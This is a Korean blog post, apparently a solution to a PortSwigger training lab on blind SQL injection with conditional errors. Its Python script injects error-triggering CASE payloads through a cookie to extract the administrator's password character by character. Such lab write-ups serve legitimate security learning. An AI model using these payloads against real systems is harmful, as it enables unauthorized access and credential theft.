본문 바로가기
Portswigger/SQL injection

Portswigger - Blind SQL injection with conditional errors solution

by jh117jh 2023. 8. 8.
728x90

이번 문제는 trackingid 쿼리문에 오류가 생기면 에러 메시지를 출력하여 blind injection을 시도할 수 있다.

조건부 에러로 내가 원하는 조건에 에러를 발생시켜 참 거짓을 알 수 있다.

이를 참고해 코드를 작성하면

import requests
url="https://0a4700dd049d11cd80450375000700d9.web-security-academy.net/"
cookies={"TrackingId":"2N1Ldflr2AxiIj1k",
        "session":"OWu48fGtISFp7w7V4EQDNaYFNjFq70dS"}
string="0123456789abcdefghijklmnopqrstuvwxyz"

pw=""


for i in range(0,100): #길이구하기
    cookies={"session":"OWu48fGtISFp7w7V4EQDNaYFNjFq70dS",
             "TrackingId":f"2N1Ldflr2AxiIj1k' union select case when length(password)={i} then TO_CHAR(1/0) else null end from users -- "}
    res=requests.get(url,cookies=cookies)
    
    if "Internal Server Error" in res.text:
        length=i
        print("length:",i)
        break
        
for i in range(1,length+1): #pw구하기
    for j in string:
        cookies={"session":"OWu48fGtISFp7w7V4EQDNaYFNjFq70dS",
             "TrackingId":f"2N1Ldflr2AxiIj1k' union select case when substr(password,{i},1)='{j}' then TO_CHAR(1/0) else null end from users where username = 'administrator'-- "}
        res=requests.get(url,cookies=cookies)
        
        if "Internal Server Error" in res.text:
            pw+=j
            print("pw:",pw)
            break
print("password:",pw)

 

union을 이용해 select문을 연결해 준 뒤 조건들이 참이때 오류를 발생시켜 pw길이와 값을 알아낼 수 있다.

pw값을 알아낼 때 username을 지정 안 해주면 다른 id의 비밀번호가 출력될 수 있으므로 주의해야 된다.

 

 

 

728x90